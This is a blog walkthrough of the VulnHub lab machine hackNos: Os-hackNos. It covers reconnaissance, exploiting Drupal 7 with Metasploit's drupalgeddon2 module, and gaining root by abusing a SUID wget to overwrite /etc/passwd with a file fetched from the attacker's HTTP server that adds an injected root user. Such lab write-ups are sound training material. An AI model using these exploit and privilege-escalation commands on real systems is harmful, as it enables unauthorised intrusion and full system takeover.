重要提示:這一個靶機就是之前那個Os-Hax: lab-james
,只不過現在叫hackNos: Os-hackNos
,除了靶機的主機名有改動,其他的沒有啥改動。
難度:作者的定義是中等~
靶機發布日期:2019年11月3日
靶機描述:Difficulty : Intermediate
Flag : boot-root
Learning : exploit | web application Security | Privilege Escalation
Contact … https://www.linkedin.com/in/rahulgehlaut/
Requires VirtualBox (doesn’t work with VMware)
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
- nmap
- dirsearch
- searchsploit
- metaspaloit
0x00、信息收集
靶機IP:192.168.0.107
nmap -sP 192.168.0.0/24
端口和服務
nmap -sS -sV -T5 -A -p- 192.168.0.107
頁面、目錄枚舉
gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
http://192.168.0.107/index.html
http://192.168.0.107/drupal/,Drupal 7
http://192.168.0.107/alexander.txt,內容如下:
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
base64解碼之後發現是Brainfuck code
,到https://www.splitbrain.org/_static/ook/
在線解碼,得到一對賬號密碼james:Hacker@4514
登錄drupal之後看到一串警告
嘗試使用得到的賬號密碼通過SSH登錄靶機,無果
0x01、getshell
由於之前做過很多Drupal的靶機,所以我直接打開MSF,利用exploit/unix/webapp/drupal_drupalgeddon2
getshell
常規做法就是在exploit-db、Google搜索“drupal 7”
search Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set rhosts 192.168.0.107
set targeturi /drupal # Path to Drupal install
exploit
獲取shell之後要做的第一件事是使用Python獲取一個tty,不然有些命令是無法執行的,這一步很關鍵。
python -c 'import pty; pty.spawn("/bin/bash")' # 有些沒有安裝Python2,所以需要換成python3 -c
如果你想使用clear
清屏,那麼只需要給TERM這個環境變量賦值screen即可
export TERM=screen # 賦值xterm也可以
0x02、提權
--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
先在kali上開啓HTTP服務
python -m SimpleHTTPServer 65534
使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。
-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------
SUID權限可執行文件,發現/usr/bin/wget
關於wget的利用,可以參考Linux for Pentester: Wget Privilege Escalation
find / -perm -u=s -type f 2>/dev/null
常見的SUID提權可執行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
讀取靶機中的/etc/passwd
,並將內容保存到kali的新建passwd
文件。使用openssl
生成加密密碼,並將加密的密碼添加到passwd
中
關於/etc/passwd各列的含義請自行搜索
openssl passwd -1 -salt salt ins1ght
echo 'ins1ght:$1$salt$6FLhQyyZLS6t1CiFgvKLu1:0:0:root:/root:/bin/bash' >> passwd
在passwd
文件所在目錄使用Python開啓HTTP服務,之後使用使用wget
將passwd下載到靶機的/etc
目錄,覆蓋靶機原始的/etc/passwd
文件。
su
切換到ins1ght用戶(root權限)
有史以來最快的一次~
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.